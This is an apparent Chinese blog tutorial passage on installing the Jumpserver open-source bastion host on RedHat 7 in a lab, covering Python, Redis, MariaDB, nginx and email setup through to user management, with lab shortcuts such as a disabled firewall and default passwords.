是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。</p><p>Jumpserver 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。</p><p>Jumpserver 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。</p><p>Jumpserver 现已支持管理 SSH、 Telnet、 RDP、 VNC 协议资产。</p><p>改变世界, 从一点点开始。</p></blockquote><h3 id="jumpserver堡垒机组件说明："><a href="#jumpserver堡垒机组件说明：" class="headerlink" title="jumpserver堡垒机组件说明："></a>jumpserver堡垒机组件说明：</h3><p><strong>1、Jumpserver：</strong></p><p><strong>现指</strong> <strong>Jumpserver 管理后台，是核心组件（Core）, 使用 Django Class Based View 风格开发，支持 Restful API。</strong></p><p><strong>2、Coco：</strong></p><p><strong>实现了</strong> <strong>SSH Server 和 Web Terminal Server 的组件，提供 SSH 和 WebSocket 接口, 使用 Paramiko 和 Flask 开发。</strong></p><p><strong>3、Luna：</strong></p><p><strong>现在是</strong> <strong>Web Terminal 前端，计划前端页面都由该项目提供，Jumpserver 只提供 API，不再负责后台渲染html等。</strong></p><h2 id="jumpserver必备功能"><a href="#jumpserver必备功能" class="headerlink" title="jumpserver必备功能"></a>jumpserver必备功能</h2><table><thead><tr><th>Jumpserver提供的堡垒机必备功能</th><th></th><th></th></tr></thead><tbody><tr><td>身份验证 Authentication</td><td>登录认证</td><td>资源统一登录和认证</td></tr><tr><td>LDAP认证</td><td></td><td></td></tr><tr><td>支持OpenID，实现单点登录</td><td></td><td></td></tr><tr><td>多因子认证</td><td>MFA（Google Authenticator）</td><td></td></tr><tr><td>账号管理 Account</td><td>集中账号管理</td><td>管理用户管理</td></tr><tr><td>系统用户管理</td><td></td><td></td></tr><tr><td>统一密码管理</td><td>资产密码托管</td><td></td></tr><tr><td>自动生成密码</td><td></td><td></td></tr><tr><td>密码自动推送</td><td></td><td></td></tr><tr><td>密码过期设置</td><td></td><td></td></tr><tr><td>批量密码变更(X-PACK)</td><td>定期批量修改密码</td><td></td></tr><tr><td>生成随机密码</td><td></td><td></td></tr><tr><td>多云环境的资产纳管(X-PACK)</td><td>对私有云、公有云资产统一纳管</td><td></td></tr><tr><td>授权控制 Authorization</td><td>资产授权管理</td><td>资产树</td></tr><tr><td>资产或资产组灵活授权</td><td></td><td></td></tr><tr><td>节点内资产自动继承授权</td><td></td><td></td></tr><tr><td>RemoteApp(X-PACK)</td><td>实现更细粒度的应用级授权</td><td></td></tr><tr><td>组织管理(X-PACK)</td><td>实现多租户管理，权限隔离</td><td></td></tr><tr><td>多维度授权</td><td>可对用户、用户组或系统角色授权</td><td></td></tr><tr><td>指令限制</td><td>限制特权指令使用，支持黑白名单</td><td></td></tr><tr><td>统一文件传输</td><td>SFTP 文件上传/下载</td><td></td></tr><tr><td>文件管理</td><td>Web SFTP 文件管理</td><td></td></tr><tr><td>安全审计 Audit</td><td>会话管理</td><td>在线会话管理</td></tr><tr><td>历史会话管理</td><td></td><td></td></tr><tr><td>录像管理</td><td>Linux 录像支持</td><td></td></tr><tr><td>Windows 录像支持</td><td></td><td></td></tr><tr><td>指令审计</td><td>指令记录</td><td></td></tr><tr><td>文件传输审计</td><td>上传/下载记录审计</td></tr></tbody></table><h2 id="开始安装"><a href="#开始安装" class="headerlink" title="开始安装:"></a>开始安装:</h2><h3 id="安装实验环境"><a href="#安装实验环境" class="headerlink" title="安装实验环境:"></a>安装实验环境:</h3><p>jumpserver服务端:192.168.48.133,redhat7.4系统</p><p>上传安装包到服务端的/opt目录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">链接：https://pan.baidu.com/s/1Ag4Uz7-SaQHddhAiKSiddA </span><br><span class="line">提取码：rrg6 </span><br><span class="line">复制这段内容后打开百度网盘手机App，操作更方便哦</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# ll</span><br><span class="line">总用量 24220</span><br><span class="line">drwxr-xr-x.  5 root root      194 6月   8 2018 coco</span><br><span class="line">drwxr-xr-x. 11 root root      253 6月   8 2018 jumpserver</span><br><span class="line">-rw-r--r--.  1 root root  7910019 4月  10 2018 luna.tar.gz</span><br><span class="line">-rw-r--r--.  1 root root 16872064 4月  10 2018 Python-3.6.1.tar.xz</span><br><span class="line">drwxr-xr-x.  2 root root     8192 6月   8 2018 python-package</span><br></pre></td></tr></table></figure><p>关闭系统防火墙和selinux</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# systemctl stop firewalld </span><br><span class="line">[root@localhost ~]# setenforce 0</span><br></pre></td></tr></table></figure><p>查看当前系统语言环境:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cat /etc/locale.conf  </span><br><span class="line">LANG=&quot;zh_CN.UTF-8&quot;</span><br></pre></td></tr></table></figure><p>如果不是utf-8格式的话,那么需要去修改环境变量</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# localedef -c -f UTF-8 -i zh_CN zh_CN.UTF-8 </span><br><span class="line"></span><br><span class="line">[root@localhost ~]# export LC_ALL=zh_CN.UTF-8 </span><br><span class="line"></span><br><span class="line">[root@localhost ~]# echo &apos;LANG=zh_CN.UTF-8&apos; &gt; /etc/locale.conf </span><br><span class="line"></span><br><span class="line">[root@localhost ~]# exit</span><br></pre></td></tr></table></figure><p>再重新连接， 这样语言环境就改变了。</p><h3 id="安装依赖包"><a href="#安装依赖包" class="headerlink" title="安装依赖包"></a>安装依赖包</h3><p>注:在安装之前,可以开启yum缓存功能,把软件包下载下来,方便后期使用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# vim /etc/yum.conf </span><br><span class="line"></span><br><span class="line">改：keepcache=0 </span><br><span class="line">为：keepcache=1</span><br></pre></td></tr></table></figure><p>安装所需要的软件包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# yum -y install wget sqlite-devel xz gcc automake zlib-devel openssl-devel epel-release git</span><br></pre></td></tr></table></figure><p>编译安装python3.6.1</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /opt</span><br><span class="line">[root@localhost ~]# tar xvf Python-3.6.1.tar.xz  &amp;&amp; cd Python-3.6.1</span><br><span class="line">[root@localhost ~]# ./configure  &amp;&amp;  make  -j 4 &amp;&amp; make install</span><br></pre></td></tr></table></figure><p>这里必须执行编译安装，否则在安装 Python 库依赖时会有麻烦…</p><p>然后我们创建个python3的虚拟环境</p><p>因为 CentOS 6/7 自带的是 Python2，而 Yum 等工具依赖原来的 Python，为了不扰乱原来的环境我们来使用 Python 虚拟环境</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /opt</span><br><span class="line">[root@localhost ~]# python3 -m venv py3  </span><br><span class="line">[root@localhost ~]# source /opt/py3/bin/activate</span><br><span class="line">(py3) [root@localhost ~]#        #切换成功的，前面有一个py3 标识</span><br><span class="line">(py3) [root@localhost opt]# python -V</span><br><span class="line">Python 3.6.1</span><br></pre></td></tr></table></figure><p>因为jumpserver是基于python3的环境,所以就需要安装python3</p><h3 id="开始安装-1"><a href="#开始安装-1" class="headerlink" title="开始安装"></a>开始安装</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost opt]# cd jumpserver/ (py3) </span><br><span class="line"></span><br><span class="line">[root@localhost jumpserver]# ls (py3) </span><br><span class="line"></span><br><span class="line">[root@localhost jumpserver]# cd requirements/</span><br></pre></td></tr></table></figure><p>安装jumpserver所需要的数据包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost requirements]# yum install -y `cat rpm_requirements.txt` </span><br><span class="line"></span><br><span class="line">或者 </span><br><span class="line">(py3) [root@localhost requirements]# yum install -y  $(cat rpm_requirements.txt)</span><br></pre></td></tr></table></figure><p>如果有些软件安装不上的话,使用以下源</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">[epel]</span><br><span class="line">name=Extra Packages for Enterprise Linux 7 - $basearch</span><br><span class="line">baseurl=https://mirrors.tuna.tsinghua.edu.cn/epel/7/$basearch</span><br><span class="line">#mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=epel-7&amp;arch=$basearch</span><br><span class="line">failovermethod=priority</span><br><span class="line">enabled=1</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7</span><br><span class="line"></span><br><span class="line">[epel-debuginfo]</span><br><span class="line">name=Extra Packages for Enterprise Linux 7 - $basearch - Debug</span><br><span class="line">baseurl=https://mirrors.tuna.tsinghua.edu.cn/epel/7/$basearch/debug</span><br><span class="line">#mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&amp;arch=$basearch</span><br><span class="line">failovermethod=priority</span><br><span class="line">enabled=0</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7</span><br><span class="line">gpgcheck=1</span><br><span class="line"></span><br><span class="line">[epel-source]</span><br><span class="line">name=Extra Packages for Enterprise Linux 7 - $basearch - Source</span><br><span class="line">baseurl=https://mirrors.tuna.tsinghua.edu.cn/epel/7/SRPMS</span><br><span class="line">#mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&amp;arch=$basearch</span><br><span class="line">failovermethod=priority</span><br><span class="line">enabled=0</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7</span><br><span class="line">gpgcheck=1</span><br></pre></td></tr></table></figure><p>安装python依赖库,因为要从requirements.txt文件读取python依赖包,然后下载,但由于软件包太多,所以使用pip本地安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost python-package]# </span><br><span class="line"></span><br><span class="line">(py3) [root@localhost python-package]# pip install ./*</span><br></pre></td></tr></table></figure><p>安装redis,因为jumpserver中调用redis做cache和celery broke</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost python-package]# yum install redis -y</span><br></pre></td></tr></table></figure><p>启动redis</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost python-package]# systemctl enable redis;systemctl start redis</span><br></pre></td></tr></table></figure><p>安装数据库进行缓存数据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost ~]# yum  install mariadb mariadb-devel mariadb-server   -y</span><br></pre></td></tr></table></figure><p>开启数据库</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost ~]# systemctl enable mariadb  ;  systemctl start mariadb</span><br></pre></td></tr></table></figure><p>创建数据库jumpserver并授权</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [(none)]&gt; create database jumpserver default charset &apos;utf8&apos;;</span><br><span class="line">Query OK, 1 row affected (0.00 sec)</span><br><span class="line"></span><br><span class="line">#设置用户jumpserver@127.0.0.1对jumpserver数据库所有表都有权限,并设置密码为123456</span><br><span class="line"></span><br><span class="line">MariaDB [(none)]&gt; grant all on jumpserver.* to &apos;jumpserver&apos;@&apos;127.0.0.1&apos; identified by &apos;123456&apos;;</span><br><span class="line">Query OK, 0 rows affected (0.00 sec)</span><br><span class="line"></span><br><span class="line">MariaDB [(none)]&gt; exit</span><br><span class="line">Bye</span><br></pre></td></tr></table></figure><p>修改配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost opt]# cd jumpserver/</span><br><span class="line">(py3) [root@localhost jumpserver]# cp config_example.py config.py </span><br><span class="line">(py3) [root@localhost jumpserver]# vim config.py </span><br><span class="line">#python是以空格作为缩进的,所以需要注意格式</span><br><span class="line"># SQLite setting:</span><br><span class="line">    DB_ENGINE = &apos;sqlite3&apos;</span><br><span class="line">    DB_NAME = os.path.join(BASE_DIR, &apos;data&apos;, &apos;db.sqlite3&apos;)</span><br><span class="line"></span><br><span class="line">    #MySQL or postgres setting like:</span><br><span class="line">    DB_ENGINE = &apos;mysql&apos;</span><br><span class="line">    DB_HOST = &apos;127.0.0.1&apos;</span><br><span class="line">    DB_PORT = 3306</span><br><span class="line">    DB_USER = &apos;jumpserver&apos;</span><br><span class="line">    DB_PASSWORD = &apos;123456&apos;</span><br><span class="line">    DB_NAME = &apos;jumpserver&apos;</span><br></pre></td></tr></table></figure><p>生成数据库表结构和初始化数据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost jumpserver]# cd /opt/jumpserver/utils/</span><br><span class="line">(py3) [root@localhost utils]# bash make_migrations.sh</span><br></pre></td></tr></table></figure><p>启动服务</p><p>-d参数表示在后台启动</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost jumpserver]# ./jms start all -d</span><br></pre></td></tr></table></figure><p>访问主机的8080端口,默认用户名密码为admin/admin</p><p><img src="https://pic2.superbed.cn/item/5d1a32da451253d178b903c4.png" alt=""></p><p><img src="https://pic1.superbed.cn/item/5d1a3b56451253d178b9398e.png" alt=""></p><h3 id="安装coco"><a href="#安装coco" class="headerlink" title="安装coco"></a>安装coco</h3><p>安装ssh server和websocket server:coco</p><p>当点击web终端的时候会出现以下错误,因为我们没有部署luna和coco,所以无法使用web终端</p><p><img src="https://pic.superbed.cn/item/5d1a3b68451253d178b93a1e.png" alt=""></p><p><img src="https://pic.superbed.cn/item/5d1a3b79451253d178b93aa3.png" alt=""></p><p>安装coco的依赖包,为rpm和python数据包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost jumpserver]# cd /opt/coco/requirements/ </span><br><span class="line"></span><br><span class="line">(py3) [root@localhost requirements]# yum -y  install $(cat rpm_requirements.txt) </span><br><span class="line"></span><br><span class="line">(py3) [root@localhost requirements]# pip install -r requirements.txt</span><br></pre></td></tr></table></figure><p>注:使用pip download -r requirements.txt可以直接把python包下到本地</p><p>修改配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost requirements]# cd /opt/coco/ </span><br><span class="line"></span><br><span class="line">(py3) [root@localhost coco]# cp conf_example.py conf.py </span><br><span class="line"></span><br><span class="line">(py3) [root@localhost coco]# chmod +x cocod</span><br></pre></td></tr></table></figure><p>运行服务</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost coco]# ./cocod start -d</span><br></pre></td></tr></table></figure><h3 id="安装web-terminal前端luna"><a href="#安装web-terminal前端luna" class="headerlink" title="安装web terminal前端luna"></a>安装web terminal前端luna</h3><p>Luna概述:Luna现在是web terminal前端,计划前端页面都由该项目提供,jumpserver只提供API,不再负责后台渲染HTML等</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /opt/ </span><br><span class="line"></span><br><span class="line">[root@localhost opt]# tar zxvf luna.tar.gz</span><br></pre></td></tr></table></figure><p>也可以直接去在线下载</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/jumpserver/luna/releases/download/v1.0.0/luna.tar.gz</span><br></pre></td></tr></table></figure><p>配置nginx,整合各个组件</p><p>安装nginx</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost luna]# yum install nginx -y</span><br></pre></td></tr></table></figure><p>修改配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# vim /etc/nginx/conf.d/</span><br><span class="line"></span><br><span class="line">server &#123;</span><br><span class="line">    listen 80;</span><br><span class="line"></span><br><span class="line">    client_max_body_size 100m;  # 录像及文件上传大小限制</span><br><span class="line"></span><br><span class="line">    location /luna/ &#123;</span><br><span class="line">        try_files $uri / /index.html;</span><br><span class="line">        alias /opt/luna/;  # luna 路径, 如果修改安装目录, 此处需要修改</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /media/ &#123;</span><br><span class="line">        add_header Content-Encoding gzip;</span><br><span class="line">        root /opt/jumpserver/data/;  # 录像位置, 如果修改安装目录, 此处需要修改</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /static/ &#123;</span><br><span class="line">        root /opt/jumpserver/data/;  # 静态资源, 如果修改安装目录, 此处需要修改</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /socket.io/ &#123;</span><br><span class="line">        proxy_pass       http://localhost:5000/socket.io/;</span><br><span class="line">        proxy_buffering off;</span><br><span class="line">        proxy_http_version 1.1;</span><br><span class="line">        proxy_set_header Upgrade $http_upgrade;</span><br><span class="line">        proxy_set_header Connection &quot;upgrade&quot;;</span><br><span class="line">        proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">        access_log off;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /coco/ &#123;</span><br><span class="line">        proxy_pass       http://localhost:5000/coco/;</span><br><span class="line">        proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">        access_log off;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /guacamole/ &#123;</span><br><span class="line">        proxy_pass       http://localhost:8081/;</span><br><span class="line">        proxy_buffering off;</span><br><span class="line">        proxy_http_version 1.1;</span><br><span class="line">        proxy_set_header Upgrade $http_upgrade;</span><br><span class="line">        proxy_set_header Connection $http_connection;</span><br><span class="line">        proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">        access_log off;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location / &#123;</span><br><span class="line">        proxy_pass http://localhost:8080;</span><br><span class="line">        proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行 Nginx</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ nginx -t   # 确保配置没有问题, 有问题请先解决</span><br><span class="line">$ systemctl restart nginx</span><br></pre></td></tr></table></figure><p>访问虚拟机地址,默认账号:admin,密码:admin</p><p><img src="https://pic.superbed.cn/item/5d1a3b94451253d178b93b69.png" alt=""></p><p><img src="https://pic.superbed.cn/item/5d1a3ba1451253d178b93bdc.png" alt=""></p><p>确定已安装成功之后到会话管理–终端管理,接受coco的注册,点接受</p><p><img src="https://pic2.superbed.cn/item/5d1a3bb2451253d178b93c65.png" alt=""></p><p><img src="https://pic3.superbed.cn/item/5d1a3bc9451253d178b93d0e.png" alt=""></p><p>测试连接:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">py3) [root@localhost coco]# netstat -antup | grep 2222 tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      3343/python3</span><br></pre></td></tr></table></figure><p>本地使用ssh进行连接,账号admin,密码admin,端口2222</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost coco]# ssh -p 2222 admin@192.168.48.137</span><br><span class="line"></span><br><span class="line">    Administrator, 欢迎使用Jumpserver开源跳板机系统  </span><br><span class="line"></span><br><span class="line">    1) 输入 ID 直接登录 或 输入部分 IP,主机名,备注 进行搜索登录(如果唯一).</span><br><span class="line">    2) 输入 / + IP, 主机名 or 备注 搜索. 如: /ip</span><br><span class="line">    3) 输入 P/p 显示您有权限的主机.</span><br><span class="line">    4) 输入 G/g 显示您有权限的主机组.</span><br><span class="line">    5) 输入 G/g + 组ID 显示该组下主机. 如: g1</span><br><span class="line">    6) 输入 H/h 帮助.</span><br><span class="line">    0) 输入 Q/q 退出.</span><br><span class="line"></span><br><span class="line">Opt&gt;</span><br></pre></td></tr></table></figure><h2 id="JumpServer实战"><a href="#JumpServer实战" class="headerlink" title="JumpServer实战"></a>JumpServer实战</h2><h3 id="添加站点"><a href="#添加站点" class="headerlink" title="添加站点"></a>添加站点</h3><p>1.登陆进系统–&gt;系统设置–&gt;设置当前站点URL为服务器地址—-&gt;提交</p><p><img src="https://pic.superbed.cn/item/5d1a3c0b451253d178b93f08.png" alt=""></p><h3 id="设置邮箱"><a href="#设置邮箱" class="headerlink" title="设置邮箱"></a>设置邮箱</h3><p><img src="https://pic3.superbed.cn/item/5d1a3c21451253d178b93fdd.png" alt=""></p><p>注:使用该功能必须确定自己的邮箱已开启了smtp和pop3服务</p><p>服务器地址:</p><p>网易邮箱:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pop服务器:pop.163.com</span><br><span class="line"></span><br><span class="line">smtp:smtp.163.com</span><br><span class="line"></span><br><span class="line">imap:imap.163.com</span><br></pre></td></tr></table></figure><p>配置完成之后,需要手动重启服务,不然后期创建用户,收不到邮箱</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(py3) [root@localhost jumpserver]# ./jms restart all -d</span><br></pre></td></tr></table></figure><p>配置邮件服务后，点击页面的”测试连接”按钮，如果配置正确，Jumpserver 会发送一条测试邮件到您的 SMTP 账号邮箱里面：</p><p><img src="https://pic.superbed.cn/item/5d1a3c32451253d178b9406f.png" alt=""></p><p>注意： 在使用jumpserver过程中，有一步是系统用户推送，要推送成功，client（后端服务器）要满足以下条件： </p><p>1）后端服务器需要有python、sudo环境才能使用推送用户，批量命令等功能 </p><p>2）后端服务器如果开启了selinux，请安装libselinux-python。一般情况服务器上都关闭了selinux</p><h3 id="用户管理"><a href="#用户管理" class="headerlink" title="用户管理"></a>用户管理</h3><p>1)添加用户组</p><p>用户名即jumpserver登陆账号,用户组是用来资产授权,当某个资产对一个用户组授权后,这个用户组下面的所有用户都可以使用这个资产了.角色用于区分一个用户是管理员还是普通用户.</p><p>点击用户管理–&gt;用户组–&gt;添加用户组</p><p><img src="https://pic.superbed.cn/item/5d1a3c4b451253d178b9413e.png" alt=""></p><p>创建用户,并将其添加到刚刚创建的jumpserver组中</p><p><img src="https://ae01.alicdn.com/kf/HTB1Jy2ceMmH3KVjSZKz7622OXXat.png" alt=""></p><p>密码会自动产生,并通过邮件发送到用户邮箱中</p><p>然后登陆账号,首次登陆需要填写信息</p><p><img src="https://pic3.superbed.cn/item/5d1a3c6f451253d178b9426c.png" alt=""></p><p>第二步需要ssh公钥,所以本地生成一个公钥</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ssh-keygen </span><br><span class="line">Generating public/private rsa key pair.</span><br><span class="line">Enter file in which to save the key (/root/.ssh/id_rsa): </span><br><span class="line">Enter passphrase (empty for no passphrase): </span><br><span class="line">Enter same passphrase again: </span><br><span class="line">Your identification has been saved in /root/.ssh/id_rsa.</span><br><span class="line">Your public key has been saved in /root/.ssh/id_rsa.pub.</span><br><span class="line">The key fingerprint is:</span><br><span class="line">SHA256:8bIwbzG55sTSvCCGCgI/ajtdxeOp6UXJfBDBcG6jgyo root@localhost.localdomain</span><br><span class="line">The key&apos;s randomart image is:</span><br><span class="line">+---[RSA 2048]----+</span><br><span class="line">|     .o+.        |</span><br><span class="line">|      o..        |</span><br><span class="line">|      .=.        |</span><br><span class="line">|    . =+++       |</span><br><span class="line">|.  . o==S..      |</span><br><span class="line">|.... .oX.*       |</span><br><span class="line">|E.= + =.@        |</span><br><span class="line">|+= + +.B .       |</span><br><span class="line">|+.o ..  